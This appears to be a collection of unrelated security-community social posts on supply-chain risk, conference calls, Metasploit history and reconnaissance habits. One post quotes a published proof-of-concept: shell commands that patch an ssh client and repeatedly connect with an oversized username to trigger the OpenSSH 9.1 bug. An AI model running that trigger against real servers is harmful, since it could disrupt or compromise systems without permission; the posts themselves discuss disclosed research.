Hot Take: a lot of the "supply chain insecurity" news stories are not problems with the supply chain. So what if you managed to upload some crapware RAT to PyPi? No one will even use your malicious package ever. Even if you tried typosquating the package, the odds are still low that anyone important or a large chunk of the community would accidentally use your typosquated malicious package . Real supply chain issues are when a legitimate and *popular link in the supply chain (aka a popular library used by many other projects) becomes compromised.

This post by the Qualys Security Advisory team demonstrating rip/pc control on OpenSSH 9.1 (running on OpenBSD!) is savage: https://seclists.org/oss-sec/2023/q1/92

Here I was thinking this bug was hopeless and they one-line it without writing new code:

$ cp -i /usr/bin/ssh ./ssh

$ sed -i s/OpenSSH_9.1/FuTTYSH_9.1/g ./ssh

$ user=`perl -e 'print "A" x 300'` && while true ;do ./ssh -o NumberOfPasswordPrompts=0 -o Ciphers=aes128-ctr -l
"$user:$user" 192.168.56.123 ;done

❓ Are there any standard data formats for asset/attack surface related information? Something like Structured Threat Information Expression (STIX) but for attack surface mapping that other tools and systems can consume.

Hey friends in #websec! Please remember to submit your research to the SecWeb workshop, a venue about building security for the web. The event is co-located with IEEE S&P in San Francisco (May 25) and our paper deadline os February 24th. We welcome new security flaws, solutions, wild ideas and even position papers. Let me know if you want to know more! https://secweb.work/2023.html

Please boost! 🔃

An alignment chart for how you ping the local host (eg, on #Linux). I'm open to be convinced that some of these should be swapped.

That are a lot of CVEs per month :D

OK, so what does fidget mean? What information do you have around you, right now? Take a deeper look. Why is that WiFi AP named XNF998FE? Why is your laptop's serial number XY3327S? How often is that helicopter circling? Why are so many license plates from a particular state with a specific prefix? Look for the lack of entropy that is an encoded signal.

In the early Metasploit days this involved dumping function addresses of DLLs from a literal binder of DVDs. The opcode database and later analysis by folks like skape (matt miller) and spoonm made exploit development much easier as a result.

Scanning the internet is easy. Understanding all the data coming back takes a lifetime. Grab some data dumps and sift through specific protocols and fields. Toss Fiddler at a Windows thick client (or enable HTTP event tracing).

We are flooded in dodgy software, weak numeration, and information leaks. Stop for a bit, breath, pick one, and go deep.

HiP impressions: great schedule, lovely atmosphere. 10/10 would speak at again

Modern smart phones - we randomised the wifi Mac address
